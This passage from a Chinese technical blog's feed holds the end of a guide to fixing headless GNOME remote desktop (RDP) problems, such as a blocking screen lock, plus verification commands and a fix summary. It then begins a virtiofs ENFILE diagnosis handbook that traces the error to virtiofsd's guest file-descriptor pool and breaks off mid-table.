&lt;p&gt;&lt;strong&gt;更正（2026-09-11，grd 48.1 实测）&lt;&#x2F;strong&gt;：grd 48 自带专用的 &lt;code&gt;gnome-remote-desktop-headless.service&lt;&#x2F;code&gt;（&lt;code&gt;BusName=org.gnome.RemoteDesktop.Headless&lt;&#x2F;code&gt;，&lt;code&gt;ExecStart=&#x2F;usr&#x2F;libexec&#x2F;gnome-remote-desktop-daemon --headless&lt;&#x2F;code&gt;），直接 &lt;code&gt;systemctl --user enable --now gnome-remote-desktop-headless.service&lt;&#x2F;code&gt; 即可，&lt;strong&gt;不需要&lt;&#x2F;strong&gt;覆盖主 unit 的 &lt;code&gt;Type&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;ExecStart&lt;&#x2F;code&gt;。覆盖主 unit 的写法会让 daemon 实际注册 &lt;code&gt;org.gnome.RemoteDesktop.Headless&lt;&#x2F;code&gt; 名字、而 unit 声明 &lt;code&gt;org.gnome.RemoteDesktop.User&lt;&#x2F;code&gt;，状态不一致（当时能跑通是因为改成了 &lt;code&gt;Type=simple&lt;&#x2F;code&gt; 不再等 D-Bus 名）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;wen-ti-wu-session-creation-inhibited-suo-ping-zu-zhi-yuan-cheng-hui-hua&quot;&gt;问题五：Session creation inhibited（锁屏阻止远程会话）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;pai-cha-4&quot;&gt;排查&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 检查屏幕锁状态
dbus-send --session --dest=org.gnome.ScreenSaver --print-reply \
  &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;ScreenSaver org.gnome.ScreenSaver.GetActive
# 结果：boolean true —— 屏幕已锁定

# 检查会话状态
loginctl show-session 2 | grep IdleHint
# 结果：IdleHint=yes —— 会话空闲

# 服务日志
journalctl --user -u gnome-remote-desktop.service
# 关键错误：
#   Failed to start remote desktop session:
#   GDBus.Error:org.freedesktop.DBus.Error.Failed: Session creation inhibited
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;gen-yin-4&quot;&gt;根因&lt;&#x2F;h3&gt;
&lt;p&gt;gnome-remote-desktop 依赖活动且未锁定的 GNOME Shell 会话才能创建远程桌面会话。当屏幕锁定或会话休眠时，Mutter 会拒绝远程会话创建请求。这是 GNOME 安全策略 —— 防止在用户离开时通过远程桌面窥探屏幕。&lt;&#x2F;p&gt;
&lt;p&gt;当前环境的主 GNOME 会话 (seat0, session 2) 已空闲 &lt;strong&gt;近 2 周&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiu-fu-lin-shi&quot;&gt;修复（临时）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 解除屏幕锁
gdbus call --session --dest org.gnome.ScreenSaver \
  --object-path &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;ScreenSaver \
  --method org.gnome.ScreenSaver.SetActive false
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;xiu-fu-yong-jiu&quot;&gt;修复（永久）&lt;&#x2F;h3&gt;
&lt;p&gt;关闭自动锁屏，防止长期无人使用时再次锁屏阻断 RDP：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gsettings set org.gnome.desktop.screensaver lock-enabled false
gsettings set org.gnome.desktop.screensaver idle-activation-enabled false
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;：这会彻底禁用锁屏，降低安全性。生产环境建议在 GNOME 设置中配置为&quot;长时间不活动后锁屏&quot;而非禁用。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;zui-zhong-yan-zheng&quot;&gt;最终验证&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;fu-wu-zhuang-tai&quot;&gt;服务状态&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemctl --user status gnome-remote-desktop.service
# Active: active (running) since ...

grdctl --headless status --show-credentials
# RDP:
#   Status: enabled
#   Port: 3389
#   TLS certificate: ...&amp;#x2F;rdp-tls.crt
#   TLS fingerprint: 5a:00:fe:60:...
#   TLS key: ...&amp;#x2F;rdp-tls.key
#   View-only: no
#   Username: peter
#   Password: ********
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;duan-kou-jian-ting&quot;&gt;端口监听&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;ss -tlnp | grep 3389
# LISTEN  *:3389  users:((&amp;quot;gnome-remote-de&amp;quot;,pid=xxx,fd=xx))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;zheng-shu-xin-xi&quot;&gt;证书信息&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;openssl x509 -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt -text -noout | grep -E &amp;quot;Subject Alternative Name|Key Usage|Extended Key Usage&amp;quot;
#             X509v3 Subject Alternative Name:
#                DNS:xiao99
#             X509v3 Key Usage:
#                Digital Signature, Key Encipherment
#             X509v3 Extended Key Usage:
#                TLS Web Server Authentication
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;chang-yong-pai-cha-ming-ling&quot;&gt;常用排查命令&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 查看实时日志
journalctl --user -u gnome-remote-desktop.service -f --no-pager

# 检查 RDP 配置
grdctl --headless status --show-credentials

# 检查 gsettings 完整配置
gsettings list-recursively org.gnome.desktop.remote-desktop.rdp

# 检查证书有效期
openssl x509 -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt -noout -dates

# 检查证书完整信息
openssl x509 -in ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;gnome-remote-desktop&amp;#x2F;certificates&amp;#x2F;rdp-tls.crt -text -noout

# 检查 RDP 端口监听
ss -tlnp | grep 3389

# 检查屏幕锁状态
dbus-send --session --dest=org.gnome.ScreenSaver --print-reply \
  &amp;#x2F;org&amp;#x2F;gnome&amp;#x2F;ScreenSaver org.gnome.ScreenSaver.GetActive

# 检查用户会话状态
loginctl list-sessions
loginctl show-session &amp;lt;session-id&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;xiu-fu-hui-zong&quot;&gt;修复汇总&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;#&lt;&#x2F;th&gt;&lt;th&gt;问题&lt;&#x2F;th&gt;&lt;th&gt;根因&lt;&#x2F;th&gt;&lt;th&gt;修复方式&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;证书无效&lt;&#x2F;td&gt;&lt;td&gt;缺少 X509v3 扩展 (SAN&#x2F;KeyUsage&#x2F;EKU)&lt;&#x2F;td&gt;&lt;td&gt;用 openssl 重新生成含扩展的证书&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;凭据未设置&lt;&#x2F;td&gt;&lt;td&gt;从未配置 RDP 用户名密码&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;grdctl --headless rdp set-credentials&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;Keyring 不存在&lt;&#x2F;td&gt;&lt;td&gt;login 密钥环未创建，grdctl 标准模式无法存储凭据&lt;&#x2F;td&gt;&lt;td&gt;使用 &lt;code&gt;--headless&lt;&#x2F;code&gt; 模式写入 GKeyFile&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;服务启动超时&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;Type=dbus&lt;&#x2F;code&gt; 与 &lt;code&gt;--headless&lt;&#x2F;code&gt; 不兼容&lt;&#x2F;td&gt;&lt;td&gt;创建 systemd override，改用 &lt;code&gt;Type=simple&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;会话创建被阻止&lt;&#x2F;td&gt;&lt;td&gt;GNOME 桌面锁屏&#x2F;空闲&lt;&#x2F;td&gt;&lt;td&gt;解除锁屏 + 关闭自动锁屏&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;guan-jian-wen-jian&quot;&gt;关键文件&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;文件&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;certificates&#x2F;rdp-tls.crt&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;TLS 证书&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;certificates&#x2F;rdp-tls.key&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;TLS 私钥&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;gnome-remote-desktop&#x2F;credentials.ini&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;RDP 凭据 (headless 模式)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.config&#x2F;systemd&#x2F;user&#x2F;gnome-remote-desktop.service.d&#x2F;headless.conf&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;systemd 服务覆盖配置&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;~&#x2F;.config&#x2F;dconf&#x2F;user&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;dconf 数据库 (gsettings 持久化)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;yi-zhi-xian-zhi&quot;&gt;已知限制&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;gnome-remote-desktop 需要活动、未锁定的 GNOME Shell 会话&lt;&#x2F;li&gt;
&lt;li&gt;使用 headless + GKeyFile 模式，凭据以明文存储（TPM 不可用时）&lt;&#x2F;li&gt;
&lt;li&gt;若重启系统后问题复现，检查：
&lt;ul&gt;
&lt;li&gt;屏幕是否再次锁定&lt;&#x2F;li&gt;
&lt;li&gt;证书是否过期（有效期 730 天）&lt;&#x2F;li&gt;
&lt;li&gt;daemon 日志中是否有新的证书或会话错误&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>virtiofs ENFILE 问题排查手册</title>
        <published>2026-06-13T12:00:00+08:00</published>
        <updated>2026-09-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/06/virtiofs-enfile-diagnosis/"/>
        <id>https://vercel.juzhong.asia/2026/06/virtiofs-enfile-diagnosis/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/06/virtiofs-enfile-diagnosis/">&lt;h1 id=&quot;virtiofs-enfile-wen-ti-pai-cha-shou-ce&quot;&gt;virtiofs ENFILE 问题排查手册&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;2026-08-07 重要更正&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;本文 2026-06-13 首发时把根因错误归为「&lt;code&gt;fs.file-max = INT64_MAX&lt;&#x2F;code&gt; 触发内核 fd table 整数溢出」。
2026-08-07 故障复发后，对照 virtiofsd 1.13.2 源码逐行核实，&lt;strong&gt;该结论是错的&lt;&#x2F;strong&gt;：
ENFILE 来自 virtiofsd 内部的 guest fd 信号量耗尽（&lt;code&gt;src&#x2F;passthrough&#x2F;guest_fd_limit.rs&lt;&#x2F;code&gt;），
与宿主内核 &lt;code&gt;file-max&lt;&#x2F;code&gt; 无关。
原文的错误分析没有删除，压缩保留在文末「曾经的错误结论（勿再犯）」一节，防止误信或重复踩坑。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;2026-09-18 补充：&lt;&#x2F;strong&gt; 修复（wrapper + &lt;code&gt;&amp;lt;openfiles&amp;gt;&lt;&#x2F;code&gt;）是&lt;strong&gt;每台宿主机、每个 virtiofs 域各一份&lt;&#x2F;strong&gt;，
在一台机器上做过不代表其他机器生效；本机 ubuntu.code 就因此复发过一次（见「2026-09-18 复发」节）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;wen-ti-xian-xiang&quot;&gt;问题现象&lt;&#x2F;h2&gt;
&lt;p&gt;VM 内对 virtiofs 挂载点执行文件操作时报错：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ls: 无法打开目录 &amp;#x27;.&amp;#x27;: 系统中打开的文件过多
# 对应系统错误: ENFILE (Too many open files in system)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;特点：整棵挂载树所有读写（cat &#x2F; ls &#x2F; 新建文件 &#x2F; python os.listdir）全部报错，
本地磁盘正常；持续存在、不会自动恢复（除非触发句柄释放）。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;pai-cha-bu-zou&quot;&gt;排查步骤&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;1-xi-tong-ji-wen-jian-ju-bing-zhuang-tai&quot;&gt;1. 系统级文件句柄状态&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cat &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;file-nr
# 输出格式: &amp;lt;已分配数量&amp;gt; &amp;lt;空闲数量&amp;gt; &amp;lt;最大限制&amp;gt;
# 注意: 现代内核（≥2.6.27）第 2 列恒为 0，不代表文件表耗尽！

cat &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;file-max
cat &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;nr_open
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-ding-wei-virtiofsd-jin-cheng&quot;&gt;2. 定位 virtiofsd 进程&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;pgrep -a virtiofsd

ps -o pid,ppid,user,etime,rss,args -p $(pgrep -d&amp;#x27;,&amp;#x27; virtiofsd)
# rss: 内存占用  etime: 运行时长
# 注意: virtiofsd RSS 很大（几十 GB）是 vhost-user 映射了 guest RAM，属正常现象
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-jian-cha-virtiofsd-fd-shu-liang-he-xin-zhi-biao&quot;&gt;3. 检查 virtiofsd fd 数量（核心指标）&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ls &amp;#x2F;proc&amp;#x2F;&amp;lt;PID&amp;gt;&amp;#x2F;fd | wc -l
# 对比 guest fd 池上限: rlimit_nofile - 610（默认 = 1,000,000 - 610 = 999,390）
# 接近上限 ≈ 池子即将耗尽，就是 ENFILE 的前兆
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;4-cha-kan-fd-lei-xing-fen-bu&quot;&gt;4. 查看 fd 类型分布&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ls -la &amp;#x2F;proc&amp;#x2F;&amp;lt;PID&amp;gt;&amp;#x2F;fd&amp;#x2F; | awk &amp;#x27;{
  target=$NF
  if (target ~ &amp;#x2F;^socket:&amp;#x2F;)       type=&amp;quot;socket&amp;quot;
  else if (target ~ &amp;#x2F;^pipe:&amp;#x2F;)    type=&amp;quot;pipe&amp;quot;
  else if (target ~ &amp;#x2F;^anon_inode:&amp;#x2F;) type=&amp;quot;anon_inode&amp;quot;
  else if (target ~ &amp;#x2F;\(deleted\)$&amp;#x2F;) type=&amp;quot;deleted_file&amp;quot;
  else if (target ~ &amp;#x2F;^\&amp;#x2F;&amp;#x2F;)       type=&amp;quot;regular_file&amp;quot;
  else if (target ~ &amp;#x2F;^\&amp;#x2F;dev\&amp;#x2F;&amp;#x2F;)  type=&amp;quot;dev&amp;quot;
  else                           type=&amp;quot;other&amp;quot;
  count[type]++
} END { for(t in count) print count[t], t }&amp;#x27; | sort -rn
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;5-cha-kan-fd-zhi-xiang-na-xie-mu-lu&quot;&gt;5. 查看 fd 指向哪些目录&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo ls -la &amp;#x2F;proc&amp;#x2F;&amp;lt;PID&amp;gt;&amp;#x2F;fd&amp;#x2F; | awk &amp;#x27;{print $NF}&amp;#x27; | \
  sed &amp;#x27;s|&amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project||&amp;#x27; | \
  awk -F&amp;#x27;&amp;#x2F;&amp;#x27; &amp;#x27;{print $1&amp;quot;&amp;#x2F;&amp;quot;$2&amp;quot;&amp;#x2F;&amp;quot;$3&amp;quot;&amp;#x2F;&amp;quot;$4}&amp;#x27; | \
  sort | uniq -c | sort -rn | head -30
# virtiofsd 的 fd 目标路径是相对共享目录的 guest 视角路径（如 &amp;#x2F;agent-code&amp;#x2F;... 对应宿主 &amp;#x2F;home&amp;#x2F;peter&amp;#x2F;project&amp;#x2F;agent-code&amp;#x2F;...）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;6-cai-yang-cha-kan-fd-ju-ti-nei-rong&quot;&gt;6. 采样查看 fd 具体内容&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 前 40 个
sudo ls -la &amp;#x2F;proc&amp;#x2F;&amp;lt;PID&amp;gt;&amp;#x2F;fd&amp;#x2F; | head -40

# 中间段
sudo ls -la &amp;#x2F;proc&amp;#x2F;&amp;lt;PID&amp;gt;&amp;#x2F;fd&amp;#x2F; | sed -n &amp;#x27;5000,5020p&amp;#x27;

# 末尾
sudo ls -la &amp;#x2F;proc&amp;#x2F;&amp;lt;PID&amp;gt;&amp;#x2F;fd&amp;#x2F; | tail -20
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;7-jian-cha-virtiofsd-zi-yuan-xian-zhi&quot;&gt;7. 检查 virtiofsd 资源限制&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;for pid in &amp;lt;PID_LIST&amp;gt;; do
  echo &amp;quot;=== PID $pid ===&amp;quot;
  cat &amp;#x2F;proc&amp;#x2F;$pid&amp;#x2F;limits | grep -E &amp;quot;open files|processes&amp;quot;
  cat &amp;#x2F;proc&amp;#x2F;$pid&amp;#x2F;status | grep -E &amp;quot;VmRSS|VmSize|Threads&amp;quot;
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;8-jian-cha-su-zhu-nei-he-shi-fou-zhen-de-zhuang-guo-file-max&quot;&gt;8. 检查宿主内核是否真的撞过 file-max&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 环形缓冲覆盖故障窗口的前提下，出现该警告 = 宿主 file-max 真被撞到（另一种墙）
sudo dmesg | grep -i &amp;quot;file-max&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;9-quan-xi-tong-fd-tong-ji&quot;&gt;9. 全系统 fd 统计&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;total=0
for p in &amp;#x2F;proc&amp;#x2F;[0-9]*&amp;#x2F;fd&amp;#x2F;; do
  total=$((total + $(ls &amp;quot;$p&amp;quot; 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null | wc -l)))
done
echo &amp;quot;用户可见: $total&amp;quot;
echo &amp;quot;系统分配: $(awk &amp;#x27;{print $1}&amp;#x27; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;file-nr)&amp;quot;
echo &amp;quot;差值(root): $(( $(awk &amp;#x27;{print $1}&amp;#x27; &amp;#x2F;proc&amp;#x2F;sys&amp;#x2F;fs&amp;#x2F;file-nr) - total ))&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;gen-yin-fen-xi-2026-08-07-geng-zheng-hou-jie-lun&quot;&gt;根因分析（2026-08-07 更正后结论）&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;zhen-zheng-gen-yin-virtiofsd-de-guest-fd-chi-hao-jin&quot;&gt;真正根因：virtiofsd 的 guest fd 池耗尽&lt;&#x2F;h3&gt;
&lt;p&gt;virtiofsd 1.13（Rust 版）为了确保自己内部总有 fd 可用，给 guest 分配 fd 时
走一个信号量（&lt;code&gt;GuestFdSemaphore&lt;&#x2F;code&gt;），上限是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guest_fd_limit = RLIMIT_NOFILE - internal_fd_reserve
               = 1,000,000 - (509 + 100 + 1)   &amp;#x2F;&amp;#x2F; MAX_MEM_SLOTS + 100 + thread_pool_size
               = 999,390
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;触发链：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;guest 内 find &amp;#x2F; grep -rl 递归扫描数十万文件
  → 每个 lookup&amp;#x2F;open&amp;#x2F;readdir 的 inode，virtiofsd 通过 GuestFdSemaphore::allocate()
    分配一个 O_PATH fd（src&amp;#x2F;passthrough&amp;#x2F;mod.rs:880&amp;#x2F;961&amp;#x2F;1281&amp;#x2F;1782）
  → 这些句柄在 guest dcache 驱逐 inode（FUSE_FORGET）之前不释放
  → 扫描几十万文件后池子归零
  → 池空后任何 virtiofs 操作（哪怕 cat 已缓存文件）都拿不到新 fd
  → allocate() 返回 ENFILE（guest_fd_limit.rs:72）
  → guest 所有 virtiofs 系统调用报 ENFILE，整棵挂载树不可用
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;关键源码（virtiofsd 1.13.2）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;passthrough&#x2F;guest_fd_limit.rs:72&lt;&#x2F;code&gt;&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; Since this error is likely returned to the guest (and not logged), prefer an
&amp;#x2F;&amp;#x2F; error with a reasonable errno number over a useful error message.
io::Error::from_raw_os_error(libc::ENFILE)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;main.rs:51&#x2F;791-793&lt;&#x2F;code&gt; — 池子上限计算&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;src&#x2F;limits.rs:50-64&lt;&#x2F;code&gt; — &lt;code&gt;--rlimit-nofile&lt;&#x2F;code&gt; 默认取 &lt;code&gt;min(1_000_000, nr_open)&lt;&#x2F;code&gt;；若继承的软限已 ≥ 1M 则沿用继承值&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;旁证（为什么排除宿主 file-max）：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;宿主 &lt;code&gt;dmesg&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;journalctl&lt;&#x2F;code&gt; 中没有任何 &lt;code&gt;VFS: file-max limit reached&lt;&#x2F;code&gt; 警告
（环形缓冲覆盖了整个故障窗口，可信）&lt;&#x2F;li&gt;
&lt;li&gt;6&#x2F;13 实测宿主 &lt;code&gt;file-nr = 1,015,480&lt;&#x2F;code&gt; ≈ 999,390（池子）+ 系统其他 fd，严丝合缝&lt;&#x2F;li&gt;
&lt;li&gt;故障期间宿主 &lt;code&gt;file-max = INT64_MAX&lt;&#x2F;code&gt;——按内核源码（&lt;code&gt;fs&#x2F;file_table.c&lt;&#x2F;code&gt; 的
&lt;code&gt;alloc_empty_file&lt;&#x2F;code&gt;），该值下比较 &lt;code&gt;nr_files &amp;gt;= max_files&lt;&#x2F;code&gt; 永远为假，不可能返回 ENFILE&lt;&#x2F;li&gt;
&lt;li&gt;症状&quot;持续不恢复&quot;符合句柄滞留模型：恢复只能靠 guest 缓存逐出（FUSE_FORGET）
或重启 virtiofsd&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;pan-duan-biao-zhun-geng-zheng-ban&quot;&gt;判断标准（更正版）&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;症状&lt;&#x2F;th&gt;&lt;th&gt;结论&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;virtiofsd fd 数接近 rlimit（默认 999,390 池）&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;guest fd 池即将&#x2F;已经耗尽 ← 核心指标&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;宿主 dmesg 有 &lt;code&gt;VFS: file-max limit reached&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;宿主 file-max 真被撞到（另一种、更罕见的墙）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;virtiofsd fd 99% 为 O_PATH 常规文件&lt;&#x2F;td&gt;&lt;td&gt;guest 在遍历文件系统&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;fd 集中在 &lt;code&gt;target&#x2F;debug&lt;&#x2F;code&gt;、&lt;code&gt;node_modules&lt;&#x2F;code&gt;、&lt;code&gt;build&#x2F;cache&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;构建工具 &#x2F; IDE &#x2F; 搜索扫描&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
